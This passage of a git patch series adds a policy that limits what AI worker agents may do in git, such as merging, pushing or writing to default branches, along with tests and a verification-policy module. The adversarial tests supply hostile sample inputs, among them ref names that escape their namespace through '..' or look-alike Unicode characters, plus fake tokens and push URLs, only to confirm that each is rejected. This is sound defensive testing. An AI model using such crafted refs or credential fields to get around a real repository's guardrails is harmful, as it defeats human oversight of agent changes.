assertAllowedKeys(verdict, RECEIPT_KEYS, path); + const ctx = context === undefined ? {} : context; + if (ctx !== undefined && ctx !== null && typeof ctx === 'object') { + assertClosedObject(ctx, EVIDENCE_CONTEXT_ALLOWED_KEYS, `${path}.context`); + } + const factId = hasOwn(ctx, 'fact_id') ? optOwn(ctx, 'fact_id') : 'f-authority'; + const discrepancyId = hasOwn(ctx, 'discrepancy_id') ? optOwn(ctx, 'discrepancy_id') : 'd-authority'; + const sequence = hasOwn(ctx, 'sequence') ? optOwn(ctx, 'sequence') : 0; + if (typeof factId !== 'string' || !capturedTest(RECORD_ID_PATTERN, factId)) deny('invalid_format', `${path}.fact_id`); + if (typeof discrepancyId !== 'string' || !capturedTest(RECORD_ID_PATTERN, discrepancyId)) { + deny('invalid_format', `${path}.discrepancy_id`); + } + if (typeof sequence !== 'number' || !IS_INT(sequence) || sequence < 0 || sequence > 65535) { + deny('out_of_range', `${path}.sequence`); + } + const denied = optOwn(verdict, 'verdict') === 'denied'; + const code = optOwn(verdict, 'code'); + const runId = optOwn(verdict, 'run_id'); + const assignmentId = optOwn(verdict, 'assignment_id'); + const baseSha = optOwn(verdict, 'base_sha'); + const payload = { base_sha: baseSha, head_sha: baseSha }; + const fact = freezeData({ + fact_id: factId, + fact_kind: 'git_identity', + status: denied ? 'failed' : 'verified', + code: 'host_observed', + run_id: runId, + assignment_id: assignmentId, + sequence, + subject: 'git-authority', + authority: 'platform_git', + method: evidenceMethod(typeof code === 'string' ? code : 'authority_ok'), + input_digest: digestOf({ + actor: optOwn(verdict, 'actor'), operation: optOwn(verdict, 'operation'), + ref_class: optOwn(verdict, 'ref_class'), + }), + output_digest: digestOf({ verdict: optOwn(verdict, 'verdict'), code }), + exit_code: denied ? 1 : 0, + duration_ms: 0, + truncated: false, + payload, + artifact_digests: [], + }); + const discrepancy = denied ? freezeData({ + discrepancy_id: discrepancyId, + discrepancy_kind: 'security', + status: 'recorded', + code: 'security_boundary', + run_id: runId, + assignment_id: assignmentId, + sequence, + claim_ids: [], + fact_ids: [factId], + artifact_digests: [], + }) : null; + return freezeData({ + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + facts: [fact], + discrepancies: discrepancy === null ? [] : [discrepancy], + }); +} + capturedFreeze(parseGitAuthorityPolicyV1); capturedFreeze(bindAuthorityIdentityV1); capturedFreeze(expectedRunBranchNameV1); @@ -398,3 +704,7 @@ capturedFreeze(isValidRunBranchNameV1); capturedFreeze(isRunOwnedCandidateRefV1); capturedFreeze(classifyRefV1); capturedFreeze(isProtectedRefV1); +capturedFreeze(classifyLaneHistoryV1); +capturedFreeze(assertAuthorityPostureV1); +capturedFreeze(classifyGitOperationV1); +capturedFreeze(projectAuthorityEvidenceV1); From a1b33f95cc0dfe86a1a95bf7e2940330115da61c Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:52:50 +0000 Subject: [PATCH 46/81] test(authority): reject merge histories and default-branch targets --- .../fixtures/r1-git-authority-fixtures.mjs | 135 +++++++++ .../r1-git-authority-adversarial.test.mjs | 182 +++++++++++ .../test/r1-git-authority.test.mjs | 283 ++++++++++++++++++ 3 files changed, 600 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-git-authority-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-git-authority.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-git-authority-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-git-authority-fixtures.mjs new file mode 100644 index 0000000..8ead3af --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-git-authority-fixtures.mjs @@ -0,0 +1,135 @@ +// Shared fixtures for the P28 GitAuthorityPolicyV1 tests. +// Construction only: tests own the assertions. Disposable repositories +// never attach remotes or credentials. + +import { spawnSync } from 'node:child_process'; +import { mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, +} from '../../mcp/v3/git-authority.mjs'; + +export const RUN_ID = 'run-authority-01'; +export const ASSIGNMENT_ID = 'lane-alpha'; +export const OTHER_ASSIGNMENT_ID = 'lane-beta'; +export const BASE_SHA = 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0'; +export const REPOSITORY_PATH = '/tmp/cce-r1-authority-repo'; +export const MANIFEST_DIGEST_HEX = 'ab'.repeat(32); +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export const GIT_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + HOME: '/tmp', + LANG: 'C', + LC_ALL: 'C', + TZ: 'UTC', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_TERMINAL_PROMPT: '0', + GIT_OPTIONAL_LOCKS: '0', + GIT_AUTHOR_NAME: 'p28', + GIT_AUTHOR_EMAIL: 'p28@example.test', + GIT_COMMITTER_NAME: 'p28', + GIT_COMMITTER_EMAIL: 'p28@example.test', +}); + +export function validIdentity(overrides = {}) { + return { + repository_path: REPOSITORY_PATH, + base_sha: BASE_SHA, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + ...overrides, + }; +} + +export function operationRequest(overrides = {}) { + return { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: 'worker', + operation: 'commit_on_lane_branch', + identity: validIdentity(), + manifest_digest_hex: MANIFEST_DIGEST_HEX, + ...overrides, + }; +} + +export function git(cwd, args) { + const result = spawnSync('/usr/bin/git', [ + '-c', 'init.defaultBranch=main', + '-c', 'user.name=p28', + '-c', 'user.email=p28@example.test', + ...args, + ], { cwd, encoding: 'utf8', env: GIT_ENV }); + if (result.status !== 0) { + const error = new Error('disposable git command failed'); + error.code = 'git_fixture_failed'; + throw error; + } + return result.stdout; +} + +export async function withDisposableRepo(build) { + const root = await mkdtemp(path.join(tmpdir(), 'cce-r1-p28-')); + try { + return await build(root); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +export async function initRepo(root) { + git(root, ['init', '--initial-branch=main']); + git(root, ['commit', '--allow-empty', '-m', 'base']); +} + +export function parentCounts(root, spec = 'HEAD') { + const output = git(root, ['rev-list', '--parents', '--reverse', spec]); + const counts = []; + for (const line of output.split('\n')) { + if (line.length === 0) continue; + counts.push(line.split(' ').length - 1); + } + return counts; +} + +export async function writeLinearHistory(root) { + await initRepo(root); + git(root, ['commit', '--allow-empty', '-m', 'second']); + return parentCounts(root); +} + +export async function writeMergeHistory(root) { + await initRepo(root); + git(root, ['checkout', '-b', 'other']); + git(root, ['commit', '--allow-empty', '-m', 'side']); + git(root, ['checkout', 'main']); + git(root, ['merge', '--no-ff', '-m', 'merge', 'other']); + return parentCounts(root); +} + +export async function writeOctopusHistory(root) { + await initRepo(root); + git(root, ['checkout', '-b', 'one']); + git(root, ['commit', '--allow-empty', '-m', 'one']); + git(root, ['checkout', 'main']); + git(root, ['checkout', '-b', 'two']); + git(root, ['commit', '--allow-empty', '-m', 'two']); + git(root, ['checkout', 'main']); + git(root, ['merge', '--no-ff', '-m', 'octopus', 'one', 'two']); + return parentCounts(root); +} + +export async function writeDefaultBranchTarget(root) { + await initRepo(root); + await writeFile(path.join(root, 'tracked.txt'), 'lane\n', 'utf8'); + git(root, ['add', 'tracked.txt']); + git(root, ['commit', '-m', 'tracked']); + const defaultBranch = git(root, ['symbolic-ref', '--short', 'HEAD']).trim(); + return { defaultBranch, counts: parentCounts(root) }; +} diff --git a/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs new file mode 100644 index 0000000..b5d6e66 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs @@ -0,0 +1,182 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + MAX_HISTORY_COMMITS, + MAX_REF_BYTES, + bindAuthorityIdentityV1, + classifyGitOperationV1, + classifyLaneHistoryV1, + classifyRefV1, + expectedLaneRefV1, + projectAuthorityEvidenceV1, +} from '../mcp/v3/git-authority.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + ASSIGNMENT_ID, + CONTENT_FREE, + MANIFEST_DIGEST_HEX, + RUN_ID, + operationRequest, + validIdentity, +} from './fixtures/r1-git-authority-fixtures.mjs'; + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false); + assert.equal(text.includes('https://'), false); + for (const extra of extras) assert.equal(text.includes(extra), false, `leaked ${JSON.stringify(extra)}`); + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +const laneRef = expectedLaneRefV1({ + run_id: RUN_ID, assignment_id: ASSIGNMENT_ID, manifest_digest_hex: MANIFEST_DIGEST_HEX, +}); + +test('parent-failing hostile policy probes deny namespace escape without echoing attacker bytes', () => { + const probes = [ + 'refs/heads/codex/run-abababababababab/../main', + 'refs/heads/main.lock', + 'refs/heads/foo@{bar}', + 'refs/heads/codex/run-abababababababab/lane-alpha/', + 'refs/heads/\uFF4D\uFF41\uFF49\uFF4E', + 'refs/heads/\u0430lpha', + 'refs/heads/codex/run-abababababababab/\u200Blane-alpha', + 'refs/heads/codex/run-ABABABABABABABAB/lane-alpha', + `refs/heads/${'a'.repeat(MAX_REF_BYTES)}`, + 'refs/heads/codex/run-abababababababab/LANE-ALPHA', + 'heads/main', + 'refs/heads/codex/run-ab/lane-alpha', + ]; + for (const ref of probes) { + const classified = classifyRefV1({ ref, identity: validIdentity(), manifest_digest_hex: MANIFEST_DIGEST_HEX }); + assert.equal(classified.protected, true, ref); + assert.notEqual(classified.code, 'authority_ok', ref); + assertContentFree(classified, [ref, '/tmp', 'https://']); + const verdict = classifyGitOperationV1(operationRequest({ + operation: 'create_lane_branch', + ref, + })); + assert.equal(verdict.verdict, 'denied'); + assertContentFree(verdict, [ref]); + assertContentFree(verdict.message, [ref]); + } +}); + +test('proxy accessor symbol and unknown-key inputs fail closed without running caller traps', () => { + const { proxy, counts } = countingProxy(operationRequest({ ref: laneRef })); + assert.equal(errorOf(() => classifyGitOperationV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const accessor = operationRequest({ ref: laneRef }); + Object.defineProperty(accessor, 'operation', { + get() { throw new Error('accessor ran'); }, enumerable: true, + }); + const accessorError = errorOf(() => classifyGitOperationV1(accessor)); + assert.ok(['accessor_property_denied', 'invalid_type'].includes(accessorError.code), accessorError.code); + + const symbolKeyed = operationRequest({ ref: laneRef }); + symbolKeyed[Symbol('push')] = true; + assert.equal(errorOf(() => classifyGitOperationV1(symbolKeyed)).code, 'symbol_key_denied'); + + const unknown = operationRequest({ ref: laneRef, extra: true }); + assert.equal(errorOf(() => classifyGitOperationV1(unknown)).code, 'unknown_key'); +}); + +test('credential URL and remote-mutation material cannot bind as identity', () => { + const cases = [ + { token: 'secret-token' }, + { authorization: 'Bearer abc' }, + { credentials: { password: 'x' } }, + { push_url: 'https://example.invalid/repo.git' }, + ]; + for (const extra of cases) { + const error = errorOf(() => bindAuthorityIdentityV1(validIdentity(extra))); + assert.ok( + error.code === 'credential_content_denied' || error.code === 'unknown_key' || error.code === 'merge_authority_denied', + extra, + ); + assertContentFree(error.message); + } + const urlPath = errorOf(() => bindAuthorityIdentityV1(validIdentity({ + repository_path: 'https://example.invalid/repo.git', + }))); + assert.equal(urlPath.code, 'authority_identity_invalid'); + assert.equal(urlPath.message.includes('https://'), false); +}); + +test('unknown operations capability lies and actor mismatches fail closed', () => { + assert.equal(errorOf(() => classifyGitOperationV1(operationRequest({ + operation: 'squash', + }))).code, 'unknown_git_operation'); + + const posture = errorOf(() => classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + capability: { + merge_authority: 'provider_may_merge', + create_pr_posture: 'prohibited', + }, + }))); + assert.equal(posture.code, 'authority_posture_mismatch'); + + const cloudLocal = errorOf(() => classifyGitOperationV1(operationRequest({ + operation: 'read_only_inspect', + capability: { + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'non_authoritative_cloud_only', + provider: 'grok', + }, + }))); + assert.equal(cloudLocal.code, 'authority_posture_mismatch'); + + const platformCommit = classifyGitOperationV1(operationRequest({ + actor: 'platform', + operation: 'commit_on_lane_branch', + ref: laneRef, + })); + assert.equal(platformCommit.code, 'authority_posture_mismatch'); +}); + +test('bounds abuse of history arrays refs and keys is rejected', () => { + const hugeHistory = classifyLaneHistoryV1; + const tooMany = Array.from({ length: MAX_HISTORY_COMMITS + 1 }, () => 1); + assert.equal(errorOf(() => hugeHistory({ parent_counts: tooMany })).code, 'out_of_range'); + assert.equal(errorOf(() => hugeHistory({ parent_counts: [99] })).code, 'out_of_range'); + assert.equal(errorOf(() => hugeHistory({ parent_counts: [] })).code, 'out_of_range'); + + const longRef = `refs/heads/${'a'.repeat(MAX_REF_BYTES)}`; + const classified = classifyRefV1({ ref: longRef }); + assert.equal(classified.code, 'branch_namespace_violation'); + assertContentFree(classified, [longRef]); + + const bulky = operationRequest({ ref: laneRef }); + for (let i = 0; i < 40; i += 1) bulky[`k${i}`] = i; + assert.equal(errorOf(() => classifyGitOperationV1(bulky)).code, 'out_of_range'); +}); + +test('policy customization and evidence projection stay closed and content-free', () => { + const evidence = projectAuthorityEvidenceV1(classifyGitOperationV1(operationRequest({ + operation: 'push', + })), { fact_id: 'f-push', discrepancy_id: 'd-push', sequence: 3 }); + assert.equal(evidence.facts[0].fact_id, 'f-push'); + assert.equal(evidence.discrepancies[0].code, 'security_boundary'); + assertContentFree(evidence, ['refs/heads', 'https://', 'secret']); + assert.equal(errorOf(() => projectAuthorityEvidenceV1(classifyGitOperationV1(operationRequest({ + operation: 'push', + })), { fact_id: 'F-PUSH' })).code, 'invalid_format'); +}); diff --git a/plugins/codex-co-engineer/test/r1-git-authority.test.mjs b/plugins/codex-co-engineer/test/r1-git-authority.test.mjs new file mode 100644 index 0000000..79cf921 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-git-authority.test.mjs @@ -0,0 +1,283 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { parseEvidenceDiscrepancyV1, parseVerifiedFactV1 } from '../mcp/v3/evidence-bundle.mjs'; +import { + GIT_AUTHORITY_POLICY_SCHEMA_ID, + GIT_AUTHORITY_POLICY_V1, + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, + GitAuthorityPolicyV1, + assertAuthorityPostureV1, + bindAuthorityIdentityV1, + classifyGitOperationV1, + classifyLaneHistoryV1, + classifyRefV1, + expectedCandidateRefV1, + expectedLaneRefV1, + expectedRunBranchNameV1, + isProtectedRefV1, + isRunOwnedCandidateRefV1, + isValidRunBranchNameV1, + parseGitAuthorityPolicyV1, + projectAuthorityEvidenceV1, +} from '../mcp/v3/git-authority.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + ASSIGNMENT_ID, + BASE_SHA, + CONTENT_FREE, + MANIFEST_DIGEST_HEX, + RUN_ID, + operationRequest, + parentCounts, + validIdentity, + withDisposableRepo, + writeDefaultBranchTarget, + writeLinearHistory, + writeMergeHistory, + writeOctopusHistory, +} from './fixtures/r1-git-authority-fixtures.mjs'; + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false, 'must not leak repository paths'); + assert.equal(text.includes('https://'), false, 'must not leak URLs'); + assert.equal(text.includes('git@'), false, 'must not leak hosting URLs'); + for (const extra of extras) { + assert.equal(text.includes(extra), false, `must not echo ${extra}`); + } + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +const laneName = expectedRunBranchNameV1({ + run_id: RUN_ID, assignment_id: ASSIGNMENT_ID, manifest_digest_hex: MANIFEST_DIGEST_HEX, +}); +const laneRef = expectedLaneRefV1({ + run_id: RUN_ID, assignment_id: ASSIGNMENT_ID, manifest_digest_hex: MANIFEST_DIGEST_HEX, +}); +const candidateRef = expectedCandidateRefV1({ run_id: RUN_ID }); + +test('GitAuthorityPolicyV1 is a closed frozen v1 policy and not a 4.0.0 major', () => { + assert.equal(GIT_AUTHORITY_SCHEMA_ID, 'codex-co-engineer.git-authority.v1'); + assert.equal(GIT_AUTHORITY_POLICY_SCHEMA_ID, 'codex-co-engineer.git-authority-policy.v1'); + assert.equal(GIT_AUTHORITY_VERSION, 1); + assert.equal(GIT_AUTHORITY_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(parseGitAuthorityPolicyV1(GIT_AUTHORITY_POLICY_V1), GitAuthorityPolicyV1); + assert.ok(Object.isFrozen(GIT_AUTHORITY_POLICY_V1)); + assert.ok(Object.isFrozen(GIT_AUTHORITY_POLICY_V1.default_branch_names)); + assert.deepEqual(GIT_AUTHORITY_POLICY_V1.default_branch_names, ['main', 'master']); + const customized = { + ...GIT_AUTHORITY_POLICY_V1, + default_branch_names: ['main'], + user_protected_ref_prefixes: [...GIT_AUTHORITY_POLICY_V1.user_protected_ref_prefixes], + }; + assert.equal(errorOf(() => parseGitAuthorityPolicyV1(customized)).code, 'invalid_format'); +}); + +test('credential-free identity binds without echoing the repository path', () => { + const bound = bindAuthorityIdentityV1(validIdentity({ head_sha: BASE_SHA })); + assert.equal(bound.repository_bound, true); + assert.equal(bound.base_sha, BASE_SHA); + assert.equal(bound.run_id, RUN_ID); + assert.equal('repository_path' in bound, false); + assertContentFree(bound); + const mutated = validIdentity(); + mutated.repository_path = '/tmp/other'; + assert.equal(bound.assignment_id, ASSIGNMENT_ID); +}); + +test('lane namespace generator and candidate ref stay git-ref-safe', () => { + assert.equal(laneName, `codex/run-${MANIFEST_DIGEST_HEX.slice(0, 16)}/${ASSIGNMENT_ID}`); + assert.equal(isValidRunBranchNameV1(laneName), true); + assert.equal(isValidRunBranchNameV1('codex/run-nothex/lane-alpha'), false); + assert.equal(isValidRunBranchNameV1('main'), false); + assert.equal(isRunOwnedCandidateRefV1(candidateRef, RUN_ID), true); + assert.equal(isRunOwnedCandidateRefV1(candidateRef, 'run-other-99'), false); + assert.equal(laneRef.startsWith('refs/heads/'), true); +}); + +test('own lane refs are writable; default and protected refs are not', () => { + const own = classifyRefV1({ + ref: laneRef, identity: validIdentity(), manifest_digest_hex: MANIFEST_DIGEST_HEX, + }); + assert.equal(own.ref_class, 'worker_lane'); + assert.equal(own.protected, false); + assert.equal(own.code, 'authority_ok'); + assert.equal(isProtectedRefV1({ + ref: laneRef, identity: validIdentity(), manifest_digest_hex: MANIFEST_DIGEST_HEX, + }), false); + + const main = classifyRefV1({ ref: 'refs/heads/main' }); + assert.equal(main.default_branch_target, true); + assert.equal(main.code, 'default_branch_target_denied'); + assert.equal(isProtectedRefV1({ ref: 'refs/heads/main' }), true); + + const master = classifyRefV1({ ref: 'refs/heads/master' }); + assert.equal(master.code, 'default_branch_target_denied'); + + const develop = classifyRefV1({ ref: 'refs/heads/develop', origin_head_branch: 'develop' }); + assert.equal(develop.default_branch_target, true); + assert.equal(develop.code, 'default_branch_target_denied'); + + const tags = classifyRefV1({ ref: 'refs/tags/v1.0.0' }); + assert.equal(tags.ref_class, 'user_protected'); + assert.equal(tags.code, 'protected_ref_write_denied'); + + const candidate = classifyRefV1({ + ref: candidateRef, identity: validIdentity(), manifest_digest_hex: MANIFEST_DIGEST_HEX, + }); + assert.equal(candidate.ref_class, 'platform_run_owned'); + assert.equal(candidate.protected, true); + assertContentFree(own); + assertContentFree(main); +}); + +test('worker commit on the lane is allowed; merge push create-PR rebase and tags are not', () => { + const commit = classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [0, 1] }, + })); + assert.equal(commit.verdict, 'allowed'); + assert.equal(commit.ref_class, 'worker_lane'); + assertContentFree(commit); + + const denials = [ + ['merge', 'merge_authority_denied'], + ['rebase', 'merge_authority_denied'], + ['create_pr', 'merge_authority_denied'], + ['merge_pr', 'merge_authority_denied'], + ['push', 'push_authority_denied'], + ['force_push', 'push_authority_denied'], + ['fetch', 'push_authority_denied'], + ['tag_create', 'protected_ref_write_denied'], + ['release_create', 'protected_ref_write_denied'], + ['credential_helper', 'credential_content_denied'], + ]; + for (const [operation, code] of denials) { + const verdict = classifyGitOperationV1(operationRequest({ operation })); + assert.equal(verdict.verdict, 'denied', operation); + assert.equal(verdict.code, code, operation); + assertContentFree(verdict); + } +}); + +test('Cursor Cloud create-PR posture still cannot create a PR in an R1 run lane', () => { + assertAuthorityPostureV1({ + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'non_authoritative_cloud_only', + provider: 'cursor-cloud', + }); + const verdict = classifyGitOperationV1(operationRequest({ + operation: 'create_pr', + capability: { + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'non_authoritative_cloud_only', + provider: 'cursor-cloud', + }, + })); + assert.equal(verdict.code, 'merge_authority_denied'); +}); + +test('platform composition of the run-owned candidate is allowed and is not a merge', () => { + const verdict = classifyGitOperationV1(operationRequest({ + actor: 'platform', + operation: 'compose_candidate_non_authoritative', + ref: candidateRef, + history: { parent_counts: [1] }, + })); + assert.equal(verdict.verdict, 'allowed'); + assert.equal(verdict.ref_class, 'platform_run_owned'); + const worker = classifyGitOperationV1(operationRequest({ + actor: 'worker', + operation: 'compose_candidate_non_authoritative', + ref: candidateRef, + })); + assert.equal(worker.code, 'authority_posture_mismatch'); +}); + +test('linear history is allowed and merge histories are denied', () => { + const linear = classifyLaneHistoryV1({ parent_counts: [0, 1, 1] }); + assert.equal(linear.verdict, 'allowed'); + const merge = classifyLaneHistoryV1({ parent_counts: [0, 1, 2] }); + assert.equal(merge.code, 'merge_history_denied'); + const octopus = classifyLaneHistoryV1({ parent_counts: [3] }); + assert.equal(octopus.code, 'merge_history_denied'); + const rootMerge = classifyLaneHistoryV1({ parent_counts: [2] }); + assert.equal(rootMerge.code, 'merge_history_denied'); + const throughOp = classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [0, 2] }, + })); + assert.equal(throughOp.code, 'merge_history_denied'); + assertContentFree(merge); +}); + +test('disposable linear merge and default-target repositories feed the policy', async () => { + await withDisposableRepo(async (root) => { + const linear = await writeLinearHistory(root); + assert.deepEqual(linear, [0, 1]); + assert.equal(classifyLaneHistoryV1({ parent_counts: linear }).verdict, 'allowed'); + }); + await withDisposableRepo(async (root) => { + const merge = await writeMergeHistory(root); + assert.ok(merge.some((count) => count >= 2), `expected a merge parent count, got ${merge}`); + assert.equal(classifyLaneHistoryV1({ parent_counts: merge }).code, 'merge_history_denied'); + }); + await withDisposableRepo(async (root) => { + const octopus = await writeOctopusHistory(root); + assert.ok(octopus.some((count) => count >= 3), `expected octopus, got ${octopus}`); + assert.equal(classifyLaneHistoryV1({ parent_counts: octopus }).code, 'merge_history_denied'); + }); + await withDisposableRepo(async (root) => { + const { defaultBranch, counts } = await writeDefaultBranchTarget(root); + assert.equal(defaultBranch, 'main'); + assert.equal(parentCounts(root).length, counts.length); + const verdict = classifyGitOperationV1(operationRequest({ + operation: 'create_lane_branch', + ref: `refs/heads/${defaultBranch}`, + default_branch: defaultBranch, + })); + assert.equal(verdict.code, 'default_branch_target_denied'); + assert.equal(verdict.default_branch_target, true); + assertContentFree(verdict); + }); +}); + +test('denied verdicts project content-free P13-compatible facts and discrepancies', () => { + const verdict = classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [2] }, + })); + const projection = projectAuthorityEvidenceV1(verdict); + const fact = parseVerifiedFactV1(projection.facts[0]); + const discrepancy = parseEvidenceDiscrepancyV1(projection.discrepancies[0]); + assert.equal(fact.fact_kind, 'git_identity'); + assert.equal(fact.status, 'failed'); + assert.equal(fact.method, 'merge_commit_absence'); + assert.equal(fact.authority, 'platform_git'); + assert.equal(discrepancy.discrepancy_kind, 'security'); + assert.equal(discrepancy.code, 'security_boundary'); + assertContentFree(projection); + const allowed = projectAuthorityEvidenceV1(classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [1] }, + }))); + parseVerifiedFactV1(allowed.facts[0]); + assert.equal(allowed.discrepancies.length, 0); +}); From 3857ba6bae31d92eac333a58ffc880856828d96c Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 07:53:24 +0000 Subject: [PATCH 47/81] feat(verify): add trusted VerificationPolicyV1 schema and owner loader Define the versioned immutable command catalog that binds each stable command ID to an owner-authored absolute executable, fixed argv template, typed parameter domains, and explicit network, environment, mutation, timeout, and output policies. Absent capabilities materialize as exact default-deny receipts. Untrusted profile, manifest, and provider inputs may name a command ID and typed parameters only. This slice is data validation and owner-policy loading only. --- .../mcp/v3/trusted-verification-policy.mjs | 1193 +++++++++++++++++ 1 file changed, 1193 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs b/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs new file mode 100644 index 0000000..3a31f48 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs @@ -0,0 +1,1193 @@ +// VerificationPolicyV1 — versioned immutable trusted verification-policy +// schema plus the bounded owner-authored policy loader (ADR 0001 identifiers +// `verification_policy_v1_only_executable_catalog`, +// `codex_selects_approved_command_ids_only`, +// `manifests_carry_command_ids_not_argv`, +// `trusted_verification_policy_command_catalog`, +// `profiles_data_only`, +// `provider_commands_evidence_never_auto_executed`, +// `read_only_verification`, +// `gate_a_constrained_trusted_policy_command_execution`). +// +// Additive v3 module for W14-P16A. It owns one fail-closed question: is this +// a trusted owner-authored VerificationPolicyV1, or a command-id plus typed +// parameters selection that untrusted profiles/manifests/provider reports +// are allowed to name? It answers nothing else. This module never invokes a shell, +// never resolves PATH, never executes a command, never opens a network +// socket, never mutates a candidate, and does not implement the P16B +// approved-command resolver or the P16C runner. +// +// Owner policy binds each stable command ID to an absolute executable path, +// a fixed argv template, typed/bounded parameter domains, and explicit +// network, environment, mutation, timeout, and output policies. Absent +// capabilities materialize as exact default-deny receipts: no network, empty +// environment, no persistent mutation, and finite time/output caps. Identity +// is the validator-owned canonical snapshot, so omitting a capability and +// writing the deny receipt produce the same digest. +// +// Untrusted inputs may carry only `command_id` and typed parameters. Any +// executable path, argv fragment/template, shell text, environment name or +// value, network target, mutation permission, or resource limit is denied +// before values are interpreted. Failures are typed and content-free: they +// never echo attacker values, keys, paths, URLs, secrets, native messages, +// or stacks as diagnostics. +// +// Parsed results are fresh-owned, deeply frozen, detached snapshots. +// Callers' objects are neither mutated nor frozen. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { homedir } from 'node:os'; +import path from 'node:path'; +import { lstat, open } from 'node:fs/promises'; + +import { + capturedCreate, + capturedDescriptor, + capturedFreeze, + capturedGetPrototypeOf, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedTest, + capturedUtf8ByteLength, + sortedCapturedKeys, +} from './grammar.mjs'; +import { + IDENTITY_DOMAIN, + IDENTITY_LABELS, + IDENTITY_VERSION, + canonicalJsonStringify, + identityDigestV1, +} from './identity.mjs'; +import { + COMMAND_ID_MAX, + MAX_TIMEOUT_MS, + MIN_DURATION_MS, + PARAMS_MAX_KEYS, + PARAM_VALUE_MAX_BYTES, + RunContractV1Error, + isCommandId, + isParamKey, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const VERIFICATION_POLICY_SCHEMA_ID = 'codex-co-engineer.verification-policy.v1'; +export const VERIFICATION_POLICY_VERSION = 1; +export const VERIFICATION_POLICY_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_POLICY; +export const VERIFICATION_COMMAND_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_COMMAND_DESCRIPTOR; +export const DIGEST_ALGORITHM = 'sha256'; +export const POLICY_DIGEST_HEX_LENGTH = 64; + +export const OWNER_POLICY_DIRNAME = 'codex-co-engineer'; +export const OWNER_POLICY_FILENAME = 'verification-policy.json'; + +export const MAX_POLICY_BYTES = 64 * 1024; +export const MAX_POLICY_DEPTH = 16; +export const MAX_POLICY_NODES = 1024; +export const MAX_POLICY_OBJECT_KEYS = 64; +export const MAX_POLICY_TOTAL_STRING_BYTES = 32_768; +export const MAX_POLICY_CANONICAL_BYTES = 65_536; +export const MAX_COMMANDS = 32; +export const MAX_ARGV_TOKENS = 32; +export const MAX_PARAMETERS = PARAMS_MAX_KEYS; +export const 